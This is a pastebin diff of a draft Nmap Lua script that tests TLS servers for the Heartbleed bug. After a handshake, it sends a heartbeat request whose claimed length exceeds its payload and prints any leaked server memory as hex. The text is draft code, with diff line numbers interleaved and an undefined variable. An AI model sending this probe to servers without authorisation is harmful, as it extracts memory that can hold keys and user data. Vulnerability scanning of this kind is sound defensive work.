View difference between Paste ID: VPcMzUfG and 2LUiNbm1
SHOW: | | - or go back to the newest paste.
1
local nmap = require "nmap"
2
local shortport = require "shortport"
3
local stdnse = require "stdnse"
4
local bin = require "bin"
5
local tls = require "tls"
6
7
description = [[
8
Checks for the Heartbleed bug
9
10
References:
11
* http://heartbleed.com/
12
]]
13
14
---
15
-- @usage
16
-- nmap --script=tls-heartbeat <targets>
17
--
18
--@output
19
-- 443/tcp open  https
20
-- |_tls-heartbeat:
21
--
22
-- @xmloutput
23
24
25
author = "Daniel Miller"
26
27
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
28
29
categories = {"discovery", "safe"}
30
31
portrule = shortport.ssl
32
33
action = function(host, port)
34
  local sock, status, response, err, cli_h
35
36
  cli_h = tls.client_hello({
37
    ["protocol"] = "TLSv1.1",
38
    ["ciphers"] = {
39
      "TLS_RSA_WITH_3DES_EDE_CBC_SHA",
40
      "TLS_RSA_WITH_RC4_128_MD5",
41
    },
42
    ["compressors"] = {"NULL"},
43
    ["extensions"] = {
44
      ["heartbeat"] = "\x01", -- peer_not_allowed_to_send
45
    },
46
  })
47
48
  -- Connect to the target server
49
  sock = nmap.new_socket()
50
  sock:set_timeout(1000)
51
  status, err = sock:connect(host, port)
52
  if not status then
53
    sock:close()
54
    stdnse.print_debug("Can't send: %s", err)
55
    return nil
56
  end
57
58
  local handshake_done = false
59
  -- Send Client Hello to the target server
60
  status, err = sock:send(cli_h)
61
  if not status then
62
    stdnse.print_debug("Couldn't send: %s", err)
63
    sock:close()
64
    return nil
65
  end
66
67
  -- Read response
68
  local done = false
69
  local supported = false
70
  local i = 1
71-
    status, response, err = tls.record_buffer(sock)
71+
72
    status, response, err = tls.record_buffer(sock, response, i)
73
    if err == "TIMEOUT" then
74
      done = true
75
      break
76
    elseif not status then
77
      stdnse.print_debug("Couldn't receive: %s", err)
78
      sock:close()
79
      return nil
80
    end
81-
    local i = 1
81+
82-
    while i <= #response do
82+
    i, record = tls.record_read(response, i)
83-
      local record
83+
    if record == nil then
84-
      i, record = tls.record_read(response, i)
84+
      local nsedebug = require "nsedebug"
85-
      if record == nil then
85+
      nsedebug.print_hex(string.sub(response, prev))
86-
        stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
86+
      stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
87-
        return nil
87+
88
    end
89
90-
      if record.type == "handshake" then
90+
    if record.type == "handshake" then
91-
        for _, body in ipairs(record.body) do
91+
      for _, body in ipairs(record.body) do
92-
          if body.type == "server_hello" then
92+
        if body.type == "server_hello" then
93-
            if body.extensions and body.extensions["heartbeat"] == "\x01" then
93+
          if body.extensions and body.extensions["heartbeat"] == "\x01" then
94-
              supported = true
94+
            supported = true
95-
            end
95+
96-
          elseif body.type == "server_hello_done" then
96+
        elseif body.type == "server_hello_done" then
97-
            stdnse.print_debug("we're done!")
97+
          stdnse.print_debug("we're done!")
98-
            done = true
98+
          done = true
99
        end
100
      end
101
    end
102
  until done
103-
  until done -- Not done, need a completed handshake :(
103+
104
    stdnse.print_debug("%s: Server does not support TLS Heartbeat Requests.", SCRIPT_NAME)
105
    return nil
106
  end
107
108
  local numbytes = 0x79
109
  local padding = "YELLOW SUBMARINE"
110
  local payload = bin.pack("PP", "nmap", padding)
111-
  local payload = bin.pack("AA", "nmap", padding) -- Maybe should be ">P>P"?
111+
112
      1, -- heartbeat_request
113
      numbytes,
114
      payload
115
      )
116
    )
117
118
  local status, err = sock:send(hb)
119
  -- Read response
120
  status, response, err = tls.record_buffer(sock)
121
  if not status then
122
    stdnse.print_debug("Couldn't receive: %s", err)
123
    sock:close()
124
    return nil
125
  end
126
127
  local i, record = tls.record_read(response, 0)
128
  if record == nil then
129
    stdnse.print_debug("%s: Unknown response from server", SCRIPT_NAME)
130
    return nil
131
  end
132
133
  if record.type == "heartbeat" and record.body[1].type == 2 then
134
    local payload = record.body[1].payload
135
    if #payload > 4 then
136
      return "VULNERABLE\n" .. stdnse.to_hex(payload)
137
    end
138
  else
139
    stdnse.print_debug("%s: Server response was not heartbeat_response", SCRIPT_NAME)
140
    return nil
141
  end
142
end